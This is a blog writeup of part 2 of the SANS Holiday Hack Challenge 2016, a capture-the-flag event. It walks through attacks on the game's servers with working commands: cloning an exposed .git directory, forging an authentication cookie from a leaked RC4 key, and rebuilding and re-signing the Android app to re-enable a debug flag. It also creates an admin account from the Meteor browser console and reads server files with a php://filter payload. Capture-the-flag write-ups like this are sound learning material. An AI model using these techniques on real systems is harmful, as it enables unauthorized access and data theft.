To explain this a little, the final.txt contained a lot of very normal text, but certain characters were capitalized in a sea of lowercase chars. I forget the name of this exactly, book cipher? This was very quick to recognize, and could be extracted with some grep, tr, sed & perl. The capital letters spelled out binary using words 'ZERO' & 'ONE', which was converted and printed using perl.


Tuesday, January 10, 2017

Holiday Hack Challenge 2016 - Writeup (Part 2)

This post covers the second part of the SANS Holiday Hack Challenge 2016 CTF.  Part 1 can be found here.

The next area of the challenge asked how to exploit six servers found within the APK.  Along with these servers drops six audio files to analyze towards the end of the game.  As listed on the site, the targets were:

  • The Mobile Analytics Server (via credentialed login access)
  • The Dungeon Game
  • The Debug Server
  • The Banner Ad Server
  • The Uncaught Exception Handler Server
  • The Mobile Analytics Server (post authentication)

Each target IP could be verified in-game by Tom Hessman.  This helped both with identifying scope & identifying progress, even though each one was fairly obvious.

The Mobile Analytics Server

The first thing I tried on this server was check for a .git directory, it seemed to be very fortunate guess.  Hitting that route we get a listing of the git repo for the site, I love seeing this on challenges!

With the git directory exposed you can now clone the full project easily with a bit of wget.  For more information about how this is done, check out this article (It also goes into a more advanced topic, reconstructing a repo based on objects found!) - https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/

After we have the local copy of the project we can start looking for interesting files.  The first thing to find in the context of this challenge is audio or mp3 files.

$ grep -rnis mp3 *

getaudio.php:22:      header('Content-Length: ' . strlen($result[0]['mp3']));
getaudio.php:26:      print $result[0]['mp3'];
header.php:33:                  <li><a href="/<?= mp3_web_path($db); ?>">MP3</a></li>
mp3.php:5:  function mp3_web_path($db) {
sprusage.sql:124:  `mp3` MEDIUMBLOB NOT NULL,

Looking at mp3.php we find a simple query statement which grabs an audio file, looks promising:


  function mp3_web_path($db) {
    $result = query($db, "SELECT `id` FROM `audio` WHERE `username` = '" . mysqli_real_escape_string($db, get_username()) . "'");

    if (!$result) {
      return null;

    return 'getaudio.php?id=' . $result[0]['id'];

Then looking at where it's been used, we find the main header file:

          <ul class="nav navbar-nav">
            <li><a href="/query.php">Query</a></li>
            <li><a href="/view.php">View</a></li>
              if (get_username() ≡ 'guest') {
                  <li><a href="/<?= mp3_web_path($db); ?>">MP3</a></li>
              if (get_username() ≡ 'administrator') {
                  <li><a href="/edit.php">Edit</a></li>

Looks like if we login as 'guest' we get access to that guest mp3 through the nav bar link.

Logging in as 'guest' is the next challenge. Looking at how the auth works, we can see it uses a weak authentication mechanism. All the application does to verify the user is check the 'AUTH' cookie's username field:

db.php:69:    if($username == 'administrator') { ... }
getaudio.php:9:  if ($username === 'guest') { ... }

You can see the cookie being set post-auth based on the username & date:

  } else {

    check_user($db, $_POST['username'], $_POST['password']);

    print "Successfully logged in!";

    $auth = encrypt(json_encode([
      'username' => $_POST['username'],
      'date' => date(DateTime::ISO8601),

    setcookie('AUTH', bin2hex($auth));

    header('Location: index.php?msg=Successfully%20logged%20in!');

Now we can easily run our own version of the cookie generation in PHP for both 'guest' and 'administrator' users:

define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");

function encrypt($data) {
  return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');

$username = 'guest';
// $username = 'administrator';

$auth = encrypt(json_encode([
  'username' => $username,
  'date' => date(DateTime::ISO8601),



After adding this cookie (using a browser extension) we're successfully authenticated as 'guest' and we can grab that mp3! It drops 'discombobulatedaudio2.mp3' and Part 1 is done!

The Dungeon Game

The next server found was dungeon.northpolewonderland.com. Visiting the page on port 80 provided some instructions for the game, scanning further with nmap revealed another interesting port: 11111. Looking up usage of that port number there were mentions of MMO games hosted regularly using that value. Hitting it with netcat produced the Dungeon game server.

$ nc -v dungeon.northpolewonderland.com 11111

Connection to dungeon.northpolewonderland.com port 11111 [tcp/vce] succeeded!
Welcome to Dungeon.   This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.

First thing first, as I didn't recognize it instantly, we need to find out if this game was created before -- if it's a clone or mod of a previous game we can find the source to. Looking up the copy on the intro when you start we find quickly that this is actually Zork 1, previously called Dungeon.

Initially I was looking for walk-throughs I could paste in verbatim to win the game. This didn't work in a few places. The first stopping point was finding a painting. A few other objects seemed to be moved.

The next strategy was to look up how to cheat. This yielded a couple results. First we could jump to the end of the game using the spell 'incant, DNZHUO IDEQTQ', this didn't seem to go anywhere too interesting, but could be one path. The other was to use the GDT menu (Game Debugging Tool). This provided many options, others probably had more elegant solutions than this, but you quickly start to learn that it allows you to acquire every item in the game.

There is a small wrapped mailbox here.
You are empty handed.
Valid commands are:
AA- Alter ADVS          DR- Display ROOMS
AC- Alter CEVENT        DS- Display state
AF- Alter FINDEX        DT- Display text
AH- Alter HERE          DV- Display VILLS
AN- Alter switches      DX- Display EXITS
AO- Alter OBJCTS        DZ- Display PUZZLE
AR- Alter ROOMS         D2- Display ROOM2
AV- Alter VILLS         EX- Exit
AX- Alter EXITS         HE- Type this message
AZ- Alter PUZZLE        NC- No cyclops
DA- Display ADVS        ND- No deaths
DC- Display CEVENT      NR- No robber
DF- Display FINDEX      NT- No troll
DH- Display HACKS       PD- Program detail
DL- Display lengths     RC- Restore cyclops
DM- Display RTEXT       RD- Restore deaths
DN- Display switches    RR- Restore robber
DO- Display OBJCTS      RT- Restore troll
DP- Display parser      TK- Take
Entry:    1
You are carrying:
  A brown sack.

Through some guess and check we can find that the last item available is in slot 217, it also appears to be the Elf!

  A lurking grue.
  A pair of hands.
  A breath.
  A flyer.
  A bird.
  A tree.
  A northern wall.
  A southern wall.
  A eastern wall.
  A western wall.
  A water.
  A Guardian of Zork.
  A compass rose.
  A mirror.
  A panel.
  A stone channel.
  A dungeon master.
  A ladder.
  A Elf.

Looking at info again we can see that the modified goal of this Zork game is to find the Elf, mentioning a trade for secrets.

   Recent adventurers report a new passage has been installed which
leads to the North Pole and the lair of a mischevious elf who will trade
for secrets he holds that may aid your quest.

Dropping the elf and giving it an item it does not want results in the following message:

>give vitreous slag to elf
"That wasn't quite what I had in mind", he says, tossing
the piece of vitreous slag into the fire, where it vanishes.

After hand-choosing a few items, one of them eventually was accepted. There ended up being a few valid trades of different items. Automating the acquisition of all the items was fairly easy by scripting commands for the GDT menu:

$ python -c 'for x in xrange(218): print "tk\n{}".format(x)' | pbcopy

Then trying various objects for the trade we get:


>drop elf
The elf appears increasingly impatient.

>give bird to elf
"That wasn't quite what I had in mind", he says, tossing
the bird into the fire, where it vanishes.

>give dungeon master to elf
"That wasn't quite what I had in mind", he says, tossing
the dungeon master into the fire, where it vanishes.

>give gold card to elf
The elf, satisified with the trade says -
send email to "peppermint@northpolewonderland.com" for that which you seek.
The elf says - you have conquered this challenge - the game will now end.
Your score is 15 [total of 585 points], in 17 moves.
This gives you the rank of Beginner.

>give a crystal sphere to elf
The elf, satisified with the trade says -

Sending any message to the automated email service listed in the success message provided a link to the mp3, and that was it!

The Debug Server

This was probably one of the most involved challenges for me, being new to APK work.
In the APK provided there was an EditProfile section which would allow you to change various attributes about yourself on the bug bounty platform. It also included a part which would report statistics about the session to some dev server. This was the server we're looking for.

It turned out that the dev server reporting feature was disabled in the version of the APK shipped to us, so what we had to do was re-enable it by disassembling the APK, modifying that value and assembling it again with a valid signing. APKTool, keytool & jarsigner made this a fairly quick process.

$ apktool d SantaGram_4.2.apk
$ vim res/values/strings.xml +33  # changing 'debug_data_enabled' from false to true
$ apktool build
$ mkdir keys
$ keytool -genkey -v -keystore keys/SantaGram_4.2.keystore -alias SantaGram_4.2 -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 10000
$ jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore keys/SantaGram_4.2.keystore SantaGram_4.2.apk SantaGram_4.2
$ adb install SantaGram_4.2.apk

Next up we check out that dev traffic using Burp and the android emulator:

$ emulator -netdelay none -netspeed full -avd Nexus_5_API_25 -http-proxy

Looking at the traffic as we hit the EditProfile page, it shows the JSON parameters of the POST request we need.
Watering down the request to remove any unimportant details, we get:
$ curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1"}' -H 'Content-Type: application/json'

{"date":"20170101154937","status":"OK","filename":"debug-20170101154937-0.txt","request":{"date":"0","udid":"0","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":"1","verbose":false}}

It looks like there was an extra key added to our JSON object, there's a verbose flag? Let's see what that does.

curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1", "verbose": true}' -H 'Content-Type: application/json'

"files":["debug-20170101154937-0.mp3", ...Every debug dump report generated... ],

So this is nice, we can read all the debug reports generated by all users. Now we should try to find that audio file if it exists:

curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1", "verbose": true}' -H 'Content-Type: application/json' 2>/dev/null | tr ',' '\n' | grep mp3

Sure enough, there was a hidden mp3 file in the massive dump of debug. Visiting http://dev.northpolewonderland.com/debug-20161224235959-0.mp3 dropped the file.

The Banner Ad Server

In the game there were characters that would drop hints on the challenges.  This was one of them that was invaluable moving forward.  The Banner Ad server was almost instantly recognized as a Meteor web app while combing through the source.  One of the hints linked to a SANS blog post on meteor pwning - https://pen-testing.sans.org/blog/2016/12/06/mining-meteor

This didn't seem like much of a vulnerability, just an incredibly bad design choice to allow authentication and sensitive data to be controlled on the front-end.

The TamperMonkey script mentioned in the 'Mining Meteor' article helped a lot!  This allowed us to see exactly what was going on in the web app with all the models and views, etc.

Initial attempt was to try to get access as a different user.  The registration portal was locked down, only allowing privileged users to register, and there weren't any obvious credentials being used.  Another obvious route to take was to just create a user using Meteor on the front-end, seemed too good to be true though. Popping open the Dev Console we try it out:

> Accounts.createUser({ username: 'billy1', email: 'no-one-cares', password: 'b1lly-h4s-f4nt4stic-p4ssw0rdz', isAdmin: true });

Instantly we notice a change in the UI, now we can go to Admin Quotes as well, looks like it worked!

It looks like we have access to five records on this page.  Four of them are standard quotes, and the other has an audio field.  It's starting to look very close!

Grabbing the quotes in the inspector we can see what each value holds:


> "{"_id":"zPR5TpxB5mcAH3pYk","index":4,"quote":"Just Ad It!","hidden":true,"audio":"/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3"}"

Visiting http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3 will drop the flag!

The Uncaught Exception Server

On this server we could both write and read files, but only in raw text.  This was a PHP server, so a web shell seemed to be the right path, but there wasn't an interpretation of the PHP files.  It turned out PHP filters with base64 seemed to work to leak files.

Leaking the exception file seemed logical, and apparently that was all that was required:

curl http://ex.northpolewonderland.com/exception.php --data '{"operation": "ReadCrashDump", "data": { "crashdump": "php://filter/convert.base64-encode/resource=../exception" }}' -H 'Content-Type:application/json' | base64 -D

Looking at the head of this we get the location of the next audio file!


# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3
# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/

After this I ran out of time so I didn't get the second part to the analytics server, but I knew it had something to do with SQL having a few leads from edit page errors & other query errors.

Really enjoyed playing Holiday Hack Challenge this year! It was a lot of fun, the music was great and the challenges provided a few great learning opportunities! Thanks goes out to all the developers who put this on, you did an amazing job!  Can't wait for next year!